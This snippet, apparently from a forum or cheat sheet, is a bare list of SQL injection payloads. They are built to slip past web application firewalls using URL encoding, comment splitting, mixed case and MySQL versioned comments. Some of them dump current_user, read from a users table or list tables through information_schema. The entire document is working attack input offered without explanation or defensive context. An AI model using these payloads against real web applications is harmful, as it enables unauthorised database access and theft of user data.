Code:
id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

id=1+uni%0bon+se%0blect+1,2,3--

id=1+UNunionION+SEselectLECT+1,2,3--

id=1+UnIoN/**/SeLecT/**/1,2,3--

id=1+un/**/ion+se/**/lect+1,2,3--

id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user

?/%2A%2A/union/%2A%2A/select…

1/*!UnIoN*/SeLecT+1,2,3--

id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--